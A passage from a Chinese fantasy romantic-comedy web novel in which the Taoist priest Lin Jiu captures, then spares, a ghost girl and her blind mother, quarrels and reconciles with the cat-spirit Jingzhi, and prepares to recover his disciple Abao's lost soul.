静之一声惊呼,跟着大缸从窗口飞出。 底下摆了满地的瓷器。 两个满脸喜色的师兄弟见缸太大了,脸上皆不由浮起惊恐,竟双双躲开了。 要不是静之力气大,她看他们今天就一点收获都没有了。 她率先落地,死死握住缸沿,甩了一圈卸去下落的力道,然后轻轻放下。 …… 另外一边。 正在做东西的林九实在不放心,本想叫来小海再教育一番,怎料不管他怎么喊,就是没人应声。 他出房门一看,后院空空荡荡,月光下的躺椅就剩下一只横放着的苍蝇拍。 林九心里一个咯噔,抬脚便跑了出去。 …… 小红估计是出了意外,静之只听到一声惊慌的尖叫从屋里头传来。 刚想上去帮忙,就听到一声怒喝从他们身后传来。 “你们在干什么?” “师,师父,qj啊!”小海转头一看,发现是林九,边指二楼,边磕巴上了。 发现静之也在这儿,林九的唇渐渐抿了起来。 “怎么你也跟着胡闹?!” 静之默默转身,面对着墙垂着头,开始抠起了墙皮。 完蛋。 努力半天,好印象全没了。 林九没好气的瞪了她的高马尾一眼,然后朝两个徒弟怒斥: “还不上去帮忙!” 静之还没转过身,就感觉到她身后传来一阵风,眨眼间,林九就到了楼上。 小海跟阿宝也相互拉扯着上去了。 她刚想要上 去,就听到林九喊,“你不许上来。” 她撇了撇嘴,又开始面壁。 不去就不去,不过是怕他俩出事,她才来这里的。 还没数到三十,一道白影从楼上窗口飞出。 应该是小红吧。 幸好她没被林九抓走。 正在她暗自庆幸的时候,林九一手提着一个徒弟的后领,从她旁边的小门走了出来,脸黑得吓人。 他冷着脸看过来,“你也跟我一起回去!” 静之紧紧捏着佩刀,心虚到不敢抬头。 毕竟…赃物可摆了一地呢。 “我,我还要巡街呢。” “我等会跟小江说。” 他的语气实在太冷,静之缩了缩脖子,含糊应了一声,默默跟在他后面。 一路上,老实的阿宝实在撑不住林九冷冰冰的问话,把小红的藏身地给交代了。 林九冷哼一声,放开他俩,直奔阿宝家。 静之看着低着头的阿宝,想骂又懒得骂了。 “我说你啊,唉。” 阿宝突然抬起头看了她一眼,一脸认真的说: “我还是觉得这样做不太好,师父说的对,做人就应该脚踏实地,不能妄想着一夜暴富。” “师父说得对,就算对方是坏人又怎么样,拿了他的东西,难道我就能用得安心吗?” 得,她算是发现了,阿宝就是个师父吹。 见他还在那边“师父说得对”,她赶紧拉住他往林九离开的方向跟了上去。 “行了行了,你师父说得对。” “不过现在不是说这个的时候了,赶紧走,我看林兄好像误会小红了。” …… 三人追上林九,然后离他一尺远。 主要是林九现在简直怒发冲冠,让人不敢轻易靠近。 打开门后,小红果然放心不下她母亲,还是回了这里。 她站在院子中间,仿佛认了命。 一张苍白的脸,在月光下更显凄凉。 林九走了过去,慢慢撩起了袖子。 阿宝暗道不妙,赶紧拉住林九的手臂道歉: “师父,都是我不对,是我出的主意,你放过她吧。” 林九用力挣脱他的手,看着小红,眉毛紧皱,“害人的鬼,我一定要收。” 小红一脸苦笑,双臂却隐隐挡在门前:“大师,留点人情好吗?” 林九不为所动,甚至还以为她要出阴招了。 “人情是留给人的。” “小海!”他朝小海伸出手。 “哦。”小海看了面色戚戚的小红一眼,然后从身上的袋子里掏出个五彩大毽子,放到林九手上。 “啧。”林九摸得一手鸡毛,忍不住侧头瞪了小海一眼。 “嘿嘿,拿错了拿错了。”他把大毽子换成了个双色小毽子。 林九额头青筋直跳。 他毽子一撇,猛地飞起一脚,踹向他身上的布口袋。 口袋飞了起来,阿海还没来得及伸手,瞬间就被林九夺了过去。 见他还真要出手的样子,静之忍不住想为小红辩解一句: “林兄,她不是……” “你也闭嘴!” 嘤,这么凶干嘛。 静之走到柱子旁边,开始抠柱子。 话已斥出口,林九收不回来了。 他抿了抿嘴,索性专心对付起了眼前的女鬼。 他从口袋里掏出一个圆形法器,法器表面是阴阳八卦图,器身缠绕着朱砂红线。 他刚将八卦对准小红时,小红立马隐身逃跑。 他旋转着八卦,仔细查看四周。 小海跟在他后头,却是圈着嘴小声的叫: “千万别出来啊!我师父会打死你的。” 逆徒! 耳聪目明的林九狠狠瞪了他一眼。 然后变幻手势,牵着朱砂线,将旋转中的八卦平移,八卦对准灶边时,整个法器就开始发亮。 不知是小红鬼力没剩多少了,还是林九这招寻鬼的功夫实在厉害。 光一亮起,林九便把手中的朱砂线一甩,八卦当即朝一个方向用力飞了出去。 虚空中,突然显现出来小红的身形,此时她被林九手中的朱砂线死死捆住,正奋力挣扎着。 然而她的手一握朱砂线,就会发出滋滋声响,仿佛被烫到了一般。 林九死死扯着线的另外一头,眼神越发凌厉。 就在这时,小海突然掏出一根剪子将朱砂线剪断。 林九怒极:“小海!!” 小海梗着脖子,咔嚓两下剪子,“我,我,我去旁边待着吧。” “哼!” 林九扯掉手上只剩一小截的线头,还想上前。 第211章 林九认错 “小红?是小红吗?” 老太太估计是听到说话声,摸索着从屋里走了出来。 “妈!” 老太太满身阴气,嘴唇苍白,眼下青黑。 林九只用看一眼,就知道这人跟这个女鬼肯定待在一起不短时间了。 听到那声妈,静之实在不忍心,放下一大块柱子皮,朝林九说: “林兄,你就放过她吧,她真的有不得已的理由,才留在世上的,她妈妈眼睛看不见的,离了小红,你叫她怎么活下去嘛?” 林九:“人和鬼怎么能住在一起?这老太太是不是经常生病,长此以往,她会被这女鬼身上的阴气害死的,害人的鬼,我一定要收!” 老太太这回听明白了。 林九在说她女儿是鬼,怎么可能呢。 她们相互扶持,好不容易才从北方逃到这里,还见到了阿文。 眼看着好日子就要来了,她死她女儿都不会死。 “你骗人,我女儿才没有死。” 林九毫不留情,直接戳穿了小红一直以来隐瞒的真相。 “老太太,她的尸体还是我收殓的,而且,为何北方颗粒无收,你却能顿顿吃饱,你就没想过为什么吗?” 老太太脸越听越白,手中小红的手,不仅冰凉透骨,而且枯瘦得两根手指都能圈得过来了。 林九也不想这样,但若不说清楚,这类老人家最是容易心软糊涂,收留了女鬼在家,害人害己。 他给出最后一击: “你女儿……是活生生饿死的。” 老太太盈满眼眶的泪水,终于忍不住落下。 心慌至极的她忍不住想找个主心骨。 “阿,阿文,阿文呐!” 静之白了一眼林九的后脑勺,戳了戳呆住了的阿宝。 “你快应啊,干什么呢?” “诶!在,在这儿呢!”阿宝被她一肘子杵得回过了神,扬声回了一句。 林九回头看了他们俩一眼。 静之对上他的视线,咬着唇,忍不住说一句: “你这样直接说,老人家承受不住,撅过去怎么办?” 林九声音低沉且干脆:“当断则断。” “你!” 林九知道他林弟容易心软,于是也不再跟她理论,转头直接跟老太太挑明了说: “他不是阿文,他是我徒弟阿宝。” 主心骨没了,美好的未来仿佛被林九一句话打散,老太太提着一口气撑到南方。 如今那口气终于散了。 她承受不住,眼看着就要晕厥过去。 在一旁哭得泪流满面的小红吹过去一缕白烟。 老太太顿时定在原地。 周围的风,不知道什么时候突然变大了。 小红身上纯白的披风猎猎作响。 她悲极反怒,原本枯瘦的双手渐渐长出了利甲。 “大师,你太不近人情了!” 她不想打的,生前她本是性情温柔的大家闺秀,死后她也安安分分照顾自己的老母亲。 为什么,为什么苍天如此不公! “啊!!!” 她周身的鬼力萦绕,利甲成爪,就朝林九攻了过来。 “还不帮忙!” 这里地方小,林九有所束缚,忍不住唤了一声。 却看到那三个不仅不帮忙,反而还时不时插手帮一下小红。 静之甚至还抽空,一脸认真对林九说: “你坏,小红好。” 林九脑子里的弦,铮的一声就断了。 是,他坏,他坏才会喜欢上她。 林九被她说得心口直发堵,反手便掏出一张符纸引燃。 阿宝和小海瞳孔一缩,赶紧一人一个胳膊紧紧制住林九。 “师父,不要用三昧真火烧她,她会永不超生的!” 失去理智的小红也知道那一点火焰的威力,她收手不打,反而直飞而上,妄图从天井飞出院外,避其锋芒。 “滚开!” 林九挣脱两个弟子的束缚,剑指对准燃烧中的符纸,画了个繁复的手势。 顷刻间,一道火龙直直击向快要飞出去的小红的裙摆。 静之瞳孔一缩,脚蹬向梁柱,扑了过去,挡在小红身前。 “林弟……” 为什么? 林九只来的及收回术法,却只能眼睁睁的看着静之裤腿的衣物燃了起来。 阿宝赶紧脱下自己的衣物,狂扑她的腿。 “师父你干嘛,连你兄弟也烧,你还有没有人性?!” 好在她身上的衣服是用她的毛幻化的,静之并没有受到什么损伤。 可能就是不能变回本体了。 用膝盖想也知道,她现在肯定是腿秃秃的猫猫一只。 “对不起,我不是……” 静之别过脸,手搭在阿宝的手臂上站了起来,“既然你不听我解释,我也不想听你道歉。” “……” 林九也生气了。 他这不是为了老太太好吗? 为什么所有人都阻拦他? 一看他压低的眉头,阿宝就知道他师父又要发作了。 他摆出要打人的架势挡在小红面前。 “你,你在这样,我就打你了哦!” 静之也跟着挡在小红面前。 “我,我也打你!” 阿九信上也说了,如果他变坏,她最好是一巴掌扇醒他。 “小海,我的佩刀拿来。”她眼睛不离林九,朝小海伸出手。 啊?? 随便打一下就好了,动刀动枪多不好啊。 小海递过去一个大毽子。 “小海!!”她气得直跳脚。 大毽子变成小毽子。 “……” 她拿着毽子就朝林九丢了过去。 “咚”的一声,砸在他心口上,然后掉落在地。 林九的脸色越来越冷,他捡起地上的佩刀塞进她手里,“不是想用刀吗?” 他握住刀柄,抽出刀塞进她另一只手里,把刀尖对准自己的胸口。 “往这里戳。” 静之愣住了。 随后,她疯狂往回抽手,“林兄,我……” “阿宝,还不帮忙!” “哦哦!” “砰!” 林九肚子正中一拳,终于松了握住她手的力道,连退两步。 “哐……”佩刀落在地上。 静之张了张嘴,却不知道此时此刻该说点什么了。 “小海,我们走,离开这个伤心地。” 小海看了看他师兄跟呆在原地的静之,转头问一句: “师父,是伤身……还是伤心啊?” “还不走!” 林九毅然决然转头出了院子。 小海赶紧跟上。 轰隆雷鸣响起,这场雨来得真不是时候。 他虽然坏,但是他没带伞啊。 静之抄起墙边的伞就跟了出去。 “吱呀……” 门扇开了一条缝,一个猫猫头伸出来左右看了一下。 屋檐下,林九正坐在旁边的花坛旁点着烟,小海捏着手靠在右边墙上不知道在想什么。 “说要走,你们就走到这儿啊?” 林九傲娇“哼!”了一声,拿了点烟叶往烟杆里放。 “不许抽!”她说。 她是他的谁,凭什么管他。 林九负气点上火,刚将烟嘴塞进嘴里,烟杆子就被一只素手夺走。 静之犹豫了一下,然后轻轻扇了他一巴掌。 “打你。” 干坏事,就要挨打。 小海眼睛都要看脱窗了。 这辈子,还从未有人敢向他师父脸上招呼。 林九下巴同样合不上了。 他微张着嘴,只觉得那一巴掌好像是扇在他的心口,跟刚刚那个毽子一样。 他突然抿嘴咬着牙,别过脸去,冷冷的说: “小海,这辈子千万别做人师父,也别……随便就拉个人结拜。” 随便? 他说随便?? 静之哼了一声,走到小海旁边,暗戳戳的瞪向林九。 小海看了她一眼,叹了口气,看来还得他小海出马。 “师父,我觉得师兄没做错。” 林九腾的一下站了起来,走过来,冷不丁就给了小海一个壁咚。 “你是说你师兄打我还打对了?” 还有她。 小海吞了吞口水,顶住他师父的贴脸杀,硬着头皮说: “对,圣人也有犯错的时候,更何况是师父,犯错的时候,特别是大错,就得上中下狠狠海k他一顿。” “你!” “你这又是干什么?” 林九看着背紧紧贴住墙,双手紧攥,闭着眼睛,脸颊红润的静之一眼,问道。 “那,那什么,你就不问问我吗?” 凭什么小海就可以被他壁咚,她也想…… 她觉得她可能是没救了。 居然觉得此时坏坏的林九帅得惊人。 林九收回手,眼底尽是受伤。 他垂下眼眸,掩住情绪,然后转身看着磅礴的大雨。 “没什么好问的,若是能重来一次,那我依旧坚持我的做法。” 静之:“那我也是。” 她什么意思,还想打他吗? 难道,他真的做错了吗? 林九跨出一步,来到雨帘面前,摊开双手,心里默念: “苍天啊,若是我真的做错了,就打个雷吧!” 等待 了几秒,耳边只有朔朔雨声。 他就说吧,他没—— 轰隆! 闪电带着雷鸣,响彻整个小镇。 应该是巧合吧,林九默默收回手。 这个念头刚一升起,一道如银蛇般的雷电直击他的位置。 一只手揽住他的腰,拖着他后退一步。 刚刚站的地方,被雷打得焦黑。 “你看,变坏了,雷公都看不下去。” 林九回头一看,静之的眼里满是后怕。 “你……” 静之放开他,环着胸,别扭的说: “以后下雨天你别站那么出去了。” 她的手指在抖。 她是在害怕,还是在为他担忧,还是两者皆有。 “进去吧。”他说。 静之诧异抬起头,“你这是……” 林九轻咳了一声,推开门朝里面走去。 雨声里夹杂了他一句低沉的话。 “为兄错了,你别生气。” 走到廊下,他突然回头,昏黄的灯光下,他微红的脸上带着一丝关心。 “还不进来,你不害怕吗?” 静之拿着伞,走了进去。 “怕个der,我是怕你……” “怕我什么……” “怕你被雷劈。” “林弟……十八号,你可记得了。” 她对他太好了,林九说这一句,提醒她,也是在提醒自己。 莫要再心动了。 想想她刚刚抽你脸的时候…… 他的身后的走廊,静之正踹了一脚旁边柱子。 他可真讨厌,哪壶不开提哪壶。 “记着呢记着呢,你可别后悔啊!” 林九深深的看了她一眼。 “绝对不会。” 他在心里,也这样跟自己说。 第212章 你打我吧! “宝哥,谢谢你收留我们,我们这就走了,你好好保重。” “你带你妈又能去哪里,留下吧,我再跟师父说说。” “等等,你不能留下!”林九推门进来。 小红一脸警惕的站起来,护住她的老母亲,“不用你说我也知道。” 阿宝冲出来挡在那母女俩面前,硬着头皮与林九对峙: “师父,她们是无辜的。” “咳,咳嗯。” 小海看向静之,“你喉咙痒啊?下雨感冒了?” 静之睁着死鱼眼看向他,“我看你也傻,你们仨都傻。” 林九当然知道她的意思,他深吸一口气对着小红说: “对不起,我错了。” “不过,你不能走。” 小红急了。 “道长,留不让留,走又不让走,你到底想干什么?” 林九指向阿宝,缓缓解释道: “人鬼终究有别,在这儿住久了,不仅对你娘不好,对阿宝也没什么好处。” 静之举起手,热心肠的提出一个她认为极好的建议: “住我那儿吧,反正我一个人住,我那儿还有空房间呢。” 而且她又不是人,不怕阴气。 等她回去把门口的八卦拔了就—— 林九:“不行!” 静之:“为什么?” 林九:“……住观里吧。” 林弟刚刚都肯舍身救这个叫小红的女鬼了。 人鬼恋,不好。 静之疑惑的眼神直往他脸上瞟去,嘴里不禁小声嘀咕,“不是怕女人吗?难道就不怕女鬼?” 林九轻咳了一声,瞎掰了个理由: “我阴阳调和,不怕女鬼。” 他对小红说:“等七七四十九天后,你的魂体稳定下来,我送你入轮回,你和你母亲……终需一别。” 清泪潸然落下,垂落到尖尖的下巴,然后消失在空气中。 小红知道林九说的是对的,她纵然再不舍,也只能含着泪点头。 “好,谢谢道长,我跟你走。” 看大家动身就要往道观走去,阿宝突然出声。 “师父你等一下!” 林九转头,看着这个敢对他动手的孽徒,表情淡淡的,看不出什么。 也就是看不出什么,阿宝才慌的一批。 他苦笑着说:“师父,你打我一拳吧,你最记仇了,你不打我,我这辈子心难安啊!” 林九扯着嘴角笑一声,摆了摆手说:“呵,不用了。” “我是这种人吗?” “是~~~”看到林九瞪向他,小海越是越小声,转头背对着林九,伸了个懒腰: “哈唔,这个点,我好像该困了。” 阿宝上前一步拨开他师弟,扯开衣服,把圆圆的肚子对准林九,“你不打我,我,我就不让你出去。” 林九“勉为其难”,“万分勉强”“被赶鸭子上架般”,为难的举起了拳头。 “唉,行吧,我第一次听到这种要求。” “你放心,我轻轻的哦。” 阿宝开始傻笑:“嘿嘿,我就知道师父对我最好————” 林九突然一个三百六十度极速旋转,挥出的拳头都打出破空声了。 径直攮向阿宝的肚子。 “嗷~~~” 一百八十多斤的阿宝,生生被他这一拳打飞四五米远,砰的一声倒在地上,痛得捂着肚子起不来。 “哎呦,师父你……” 林九收起拳头,一脸无辜的说: “这是最轻的了。” 说完他转身就走。 静之咽了口口水,赶紧离林九远一点,她的嗓子不由有些发紧,声音虚得不行: “真的是最轻的吗?那你甩手干什么?” 要死了! 她拿毽子砸他,还扇他脸。 她……不会被他打死吧。 林九立刻把打红了的拳头掩至身后,一脸淡定说: “当然是最轻的了,我是那种睚眦必报的人吗?” 小海走在林九身后,对着静之狂点头。 并做尽一副挥拳打脸,掐脖子吐舌头的姿态,把静之吓得不行。 她又咽了口口水,快走两步,拦住林九的去路。 好像英勇赴死般,缓缓闭上眼睛。 “来吧,你打我吧。” “这种仇千万不能记太久,记得越久,后面打得更痛!” “千万不要对我心软,你动手吧,林兄!!” 小红看到刚刚宝哥被他揍得这么惨,赶紧走出来说句公道话。 “道长,晚上的事儿她是不知情的,她怕我们出意外才跟着我们的,你就放过她吧。” 林九不发一语,越过她,走到静之跟前。 “林弟 ,你…真想我动手?” 英勇就义的静之下巴一扬,露出雪白的侧颈。 “来吧,不要因为我是朵娇…公花就怜惜我!” “…………,呵。” 突然,一个脑瓜崩轻轻弹到了她额前。 还有他低沉的轻笑。 “贤弟,这算是你丢毽子的那一下,那一掌……我就要留着以后再打。” 留着以后? 那要留到什么时候? 他好恶毒,硬要让她这辈子都害怕他吗? 静之刚睁开眼,就看到林九已经走出几米远了。 她捂着一点都不痛的脑门,拔腿就追。 空旷的街道上,除了皎白的月光,还回荡着她的叫声。 “林兄,你就打我吧,不然我怕你一辈子!” “你要是攒到以后才肯打我,肯定会连本带利一起算,那我还不得被你打死。” “林兄!!!你跑什么!快回来打我呀~~~” 小海环着胸,忍不住啧啧出声。 “一辈子没见过这种的,上赶着叫人家打她。” 不过师父居然就这么轻轻放过她了,他看啊,一定有猫腻…… 第213章 互相记仇 追了林九许久,他绕了一大圈,然后直接回观里,砰的一声把她拒之门外。 “回去睡你的觉!我跟小江说了,给你请假了!” 林九在里面讲。 他才不打她。 上回他差点打到她,她都哭了。 要是真打她一下,她不知道要跟他冷战多久。 …… 半夜三更,伸手不见五指,是做坏事的好时候。 静之骑着被子睡得正香。 林九鬼使神差的,攀着墙头就过来了。 看着未关的窗户,林九不禁皱了皱眉。 警惕心那么低,被小偷翻进来怎么办? 于是他翻了进来,放轻脚步,走到她床头。 看着她豪放的睡姿,他的眼里闪过一丝笑意。 他就说了吧,她肯定睡得跟个蛆似的。 …… 唉,他真的真的真的不是这种人的。 但是不知道为什么,一碰到她,他就跟着幼稚起来了。 林九深吸一口气,伸出修长的手缓缓朝着她睡出红晕的脸伸了过去,然后—— 微微使了点力,跟拍西瓜似的,轻轻拍一拍她的脸颊。 林九心里默念:【打回去了。】 在她睁眼之前,他逃也似的,转身快速跃出窗外。 还没跑出去多远,那个小院里就爆发出一阵吼声。 “林九!我知道是你!” “你幼不幼稚!刚刚叫你打你不打!趁人家睡觉的时候打!还让不让人睡觉了!” “我不管,我也要记仇啦!!!!!” 林九:呵,记吧记吧。 最好把他深深的记进脑海里。 道士的仇可不能过夜,会影响他道心。 …… 林九大仇得报,回去后睡得喷香。 凌厉的双眉此时放得平平的,嘴角的笑意连睡觉都止不住。 而且,她生气的样子,可真有活力呢。 记仇的静之,大仇未报,气得她翻身下床,鞋也没穿,在屋里库库转圈,像只愤怒的小仓鼠。 静之:好好好,我记住你了! 我也记仇,贼记仇,还小心眼的那种。 林九你就是我记仇本本上的头号人物了! 原本还觉得把他掰弯在掰直,多少有些不人道的静之,此时下定了决心。 她要实行b计划! 打他个措手不及! 不过b计划又是啥?? 静之去了二娣的书房,连夜撰写整林九的一万字b计划,认真得不得了,连当年她考警校的时候都没这么认真。 谁叫那个人这辈子这么喜欢耍贱呢。 …… 然而,拟好的b计划还没开始实行。 意料之外的事儿又发生了。 就在她趁着林九还未出门,暗搓搓去市场购买b计划的材料时,她突然看到右前方有一群小孩围着墙角在笑闹着。 “搞什么?这么小就搞霸凌这一套啊?” 不对。 她记得那块儿是人家的猪圈来着,难不成是玩人家的猪? 玩什么不好,玩猪? “咳咳咳,都围在这儿干什么啊?” 小孩见她过来了,跑过去围着她转圈,嘴里还叫着: “惊惊!怕怕!” “什么惊惊怕怕?” 她抬头一看,正巧与坐在猪圈旁的人对上视线。 他原本的锅盖头不见了,此时头发根根竖起,跟超级赛亚人一样,两眼却无神得很,跟丢了魂似的。 看到她也没打招呼,张嘴就是: “惊惊。怕怕。” “阿宝?你怎么在这里?阿宝?” 她俯下身在他眼前挥了挥手。 阿宝缓缓回头,又看她一眼。 “嘿嘿,惊惊,怕怕。” 完了,傻了。 静之这时哪里还能想到什么 plan b,搀着宛如行尸走肉的阿宝就朝道观赶去。 …… 林九今天一起床,右眼皮就直跳。 他以为是气炸了的静之要想办法整他了,于是大门不出二门不迈,道观的门也交代小海不要开了,打算歇业一天。 “砰砰砰!” 大门被捶得震天响。 伴随着敲门声的,是静之着急的叫门声。 “林兄,快出来!你徒弟出事啦!快出来啊!” “别以为锁着门,我就不知道你在家!快开门!” 林九摁住不断跳动的右眼皮,心想,来了来了,她要来整他了。 他就不开。 小海看一眼被捶得灰都落下来的门,又回头看一眼十分淡定,坐在摇椅上看书的林九,有些犹豫的说: “师父,我看她好像真的很急,给她 开了吧。” 是急,急着进来打他,他才不给开呢。 “你别管,进去给小红上炷香养养魂体。” “……行吧。” 他们两个就斗吧,他看他师父有一天肯定有哭的时候。 小海听到突然开始的踹门声,心里直念阿弥陀佛。 他希望那个门能坚持得久一点。 话说师父到底对人家做什么了? 昨晚隔壁的暴怒吼叫,直接把他吓得都掉床底了。 …… 突然,踹门声停了。 外头也没了静之的叫唤声,小海放心的走了。 林九笑了笑,又将目光移回书上。 还没看上两眼,突然有个东西破空而来,林九随手一接。 什么东西,怎么还在动。 他展开手心一看,一只金龟子在阳光底下还泛着绿光。 林九抬头一看,发现静之正骑在墙上,嘟着嘴,一脸不悦看着他。 “你明明在家,干嘛不给我开门?” 林九随手丢掉金龟子,坐起身子伸了个懒腰,“我刚刚睡醒,没听到你敲门。” “骗子!我都看到你在看书了。”她不是分不清轻重的人,这会儿的她一脸严肃,“阿宝出事了,我真没骗你,他好像傻了,只会说惊惊怕怕的,你快过来看看吧。” 林九欲言又止,“你……” 第214章 宝贝林九 她啧了一声,把跨到他这边的腿收了回去,“你以为我是你啊,这么幼稚,不来就算了,反正我养得起他。” 说完,她往下一跳,消失在林九的视线里。 两秒后。 “小海,我们过去看看。” “欸,来喽。” …… 五分钟后,林九跟小海把阿宝接了回来。 “师父,师兄怎么会这样啊?” 林九脸色异常凝重。 看完阿宝后,他走到置物架旁边翻找着什么,边回复道: “他这是丢了魂了,把魂找回来就没事了。” “丢魂?怎么会这样呢?昨晚我们走的时候他还好好的呀。”小海百思不得其解。 林九拿着一个盒子走了过来,他打开盒子取出几粒珍珠交给小海,“还不是你们昨晚乱来,我想,我应该知道凶手是谁。” “这几粒磨成粉,泡水给他喝下,定定惊。” 静之坐在旁边,晃悠着小腿说: “我想我也知道是谁,不就是史公子跟他身边那个术士干的好事嘛。” “看吧,昨晚就说这样不太好,出事了吧。” 小海捧着珍珠,只能挠头讪笑着转移话题:“师父,他魂都丢了,还要定惊啊?” 林九没好气的看了他一眼,顺手抄过棍子就朝着他的后脑勺来了一下,问: “晕不晕?” “晕晕晕~师父下次要打我的时候,你好歹提前说一声啊。”小海捂着后脑勺,只觉得一阵天旋地转,他晃悠着身子直接哐当一声,跌坐在阿宝隔壁。 静之听到这话,忍不住撇嘴。 他要是这种会提前告知的人就好了,一天净干这种事情,欺负他们老实人。 “惊惊,怕怕。”阿宝回过头,眼神像在看小海,却又毫无焦距。 林九指着阿宝说:“你的魂还在,当然晕了,你信不信不管你怎么打他,他都不会晕。” 小海半信半疑,接过棍子,朝阿宝的后脑勺轻轻来了一下。 “惊惊。”阿宝毫无反应,甚至连声呼痛都没有。 “哎呦嗬,我就不信了。” 他站起来,狠狠往阿宝的头顶哐的砸下去。 “喂,你要打死他啊?”静之一把夺过棍子。 “怕怕。”都这么大力了,阿宝竟是连表情都没变,依旧是那副行尸走肉般的脸。 这回小海终于知道急了。 “师父,是真的,他真的没晕啊。” 林九:“知道还不去给他磨珍珠?” 静之指着阿宝,插上一句: “刚才你们也看到了,他现在丢了魂,会到处乱走的,你们俩总不能时时刻刻跟着他吧。” 就在这时,这间房墙角处摆着的伞鼓动了一下。 小红温柔的声音从里面传来。 “道长,我可以帮忙的。” 林九思忖一下,发现确实也只能这样了,于是点头答应。 “也好,你上他的身,别让他到处乱跑。” 那把伞凌空飞了过来,缓缓在阿宝头上展开。 一个半透明的魂体,慢慢从阿宝头上落下,与他的躯干相结合。 上了阿宝身的小红,把伞一合,下意识掖一下头发。 “好了,我会看好他的身子的。” 静之听到阿宝的嘴里吐露出女音,和他女性化的动作,不禁感到惊奇。 走过去对他上看下看的,又问林九: “你说他丢魂了,那魂丢哪儿了?他还能好吗?小红可只剩下四十八天的时间了,她要是一走,阿宝总不能这样傻一辈子吧?” “现在还不知道,白天也不能出去找。”林九背着手,看着窗外的大太阳说:“得等到晚上。” 静之:“你自己一个人可以吗?晚上我要巡街了,昨晚已经请一天假了。” 突然得到关心,林九微微挑眉,回头看向静之。 她关心的眼神不似作假。 林九突然有点后悔昨晚作弄她的事儿了。 “还有小海帮我,你放心吧。” 他踌躇了一下,轻声问道: “你…真不生我气了?” 静之大笑,随意扬了扬手,“不~~会!我是那么小气的人吗?” “啊!!” 屋外突然传来小红的尖叫声,然后房门被她此时敦厚的身材直接从外头撞开来。 林九:“……你干什么?” 小红捂着胸口,害怕得连连后退。 “我想说人不能一直呆在房间里,想带着宝哥的身体去天井晒晒太阳,怎料道长您观里的神像一见到我,就发了神威,我……” 林九揉了揉眉心,朝她仔细交代: “白天时常有人进来上香,你白天别出房门,若真想透透气,你就等晚上。想出来的时候,叫一声,我叫 小海把幕布拉下来,你再出去。” 小红:“好。” …… 现在事情只能等晚上再做了,静之一闲下来,就想起了b计划。 趁着林九送她出门的时候,静之一推林九的肩膀,直接把他咚在墙上。 不对,角度不对。 昨晚可不是这样的。 仰视他的话,显得她很矬诶。 静之右脚勾过来个板凳,然后站了上去,把欲逃走的林九,又咚在墙边。 她迷离着眼神,轻咬着唇瓣,做尽霸道总裁的风范: “宝贝,知道你的腿为什么那么酸吗?” 林九:“!?哈?” 她是不是被他气疯了? 居然,居然叫他宝贝。 静之另一手挑起他的下巴,故作帅气的撸一把自己的头发,沉着嗓子说: “因为,你已经在我心里跑一天了。” 但凡林九是个现代人,他就知道静之这是在说霸道总裁爱上我之类的土味情话。 奈何,他不是。 林九的心田里,好像bio一声,绽开了一朵小花。 她这是什么意思? 是他想的那个意思吗?? 她…也对他有那样的意思? 难道,林弟竟是男女通吃的??? 在这种时刻,林九莫名想起了他之前看到的那条肚兜。 激动的心瞬间又冷却了回去。 她跟她藏的娇在一起,才是正确的。 他对她的爱,是错误且多余的。 林九,快清醒过来! 脑子里迅速给自己下了条指令。 林九脸上的红晕快速消失,表情愈发沉着。 静之:好家伙,看来,她还需努力啊。 静之极具挑逗性质,缓缓磨蹭两把林九的下巴后,转身回了她的院子。 土味情话不能停,手搓礼物也要跟上来,她要双管齐下! 她就不信,这回整不到他! …… 林九靠在墙上,眼神看着河边飘扬缠绕着的柳条,不知道在想什么。 那抹白色身影已经消失好一会儿了,他万分平静的表情下,却是跳得雀跃的心。 倘若,这是她的报复。 那他希望,她能够晚点说出那句“我是开玩笑的。” …… 第215章 中门对狙 晚上就要招魂,时间上说紧也挺紧的。 林九叫来小海,一起手搓招魂幡。 小海从小做惯了这些活儿,倒是熟门熟路的。 他拿起昨晚那把剪子边剪着纸,边问: “师父啊,为什么要做两个?平时一个不就行了吗?” 林九手中的剪子稳准快,不到一会儿,就剪出个型儿出来。 然而他并没有丝毫的放松,看着他脚下又爬过来的一只蟑螂,林九一脚踩扁。 “得尽快找到你师兄的魂,晚上你跟我一起出去找,我怕夜长梦多。” “哦。”小海剪着剪着,脖子突然痒痒的,放下剪子伸手一摸。 他和小强大眼瞪小眼。 小强褐色的半透明翅膀微微张开,不断震动着,小海一把捏爆,浆都喷在他手上了。 他皱着眉头问: “怎么突然多了这么多蟑螂,我有天天打扫的呀。” 林九斜了一眼小海手里的蟑螂卵,忍不住啧了一声,“你先别剪,把手洗了,等会干完活,去杂货铺买点驱虫药回来。” “哦……” 小海蹲在台阶上洗手的时候,突然看到对面树干上站了个人,眼睛直直盯着他师父,手里还不停捏着什么。 “……师父啊,林兄弟…好像在偷看你诶。” 林九手指微微一顿,差点一剪子给自己怼出血。 他抬头一看,静之朝他笑得比夏花还热烈。 “林兄,忙着呢?唠唠嗑啊!” “……” 见他不说话,她也不气馁,接着说道: “林兄,我等会想去一个地方,我对这里不太熟悉,你帮我可以指指方向吗?” 林九松了口气,认真回她: “你要问哪条路?我对这附近都挺熟的。” 阳光倒映进她的双眸,她的双眼亮晶晶的,显得无比诚恳: “哦,去你心里的路怎么走啊?” “……” 林九觉得现下要是有盆水浇在他脑袋上,那肯定得呲呲冒烟。 小海看着他师父的大红脸,和红透的脖子,简直叹为观止。 他紧紧抿着嘴,大气都不敢出,就怕影响了静之发挥。 毕竟,这戏可真是,太他爹的太好看了。 静之看他脸红了,她嘴角微微一勾,手中边捏着什么,嘴里的土味情话那是张口就来。 “林兄,你看看我手上的是什么?” 林九已经不知道该说些什么了。 小海看了一眼放缓动作剪纸的林九,顺嘴接了话茬。 “是土。” 静之笑一声:“知道我为什么要玩土不?” “为什么?” “我想做一棵树,然后栽在你师父手里。” 林九剪子一顿,微微掩下的眸子里全是兵荒马乱。 就在这时,她突然说一句: “林兄,我成亲的时候,你一定要来呀。” 小海手里的水瓢哐的一声,落了地。 水花溅得他满腿都是,但他无暇理会。 不是。 不是才刚跟他师父撩起来吗? 怎么突然说要成亲了? 跟谁?他怎么没见过她对象? 不仅他傻了,林九的心里也是咯噔一下,漏了一拍。 急促的心跳瞬间缓了下来,脸也由红迅速转白。 他张了张嘴,看着那个笑意妍妍,还在玩泥巴的人,紧着嗓子艰难的问出口: “是谁?你要跟谁成亲了?” 是那件肚兜的拥有者吗? 林九的心渐渐枯萎。 静之丢了只蟑螂过来,正正好好落在林九手上,她朝林九抛了个媚眼,说: “是你呀,婚礼上没有新郎岂不是很尴尬?” 咚! 咚咚! 心跳死灰复燃,犹如野火燎原般,轰的一声响起。 小强这回依旧被掐爆,不过这回是林九。 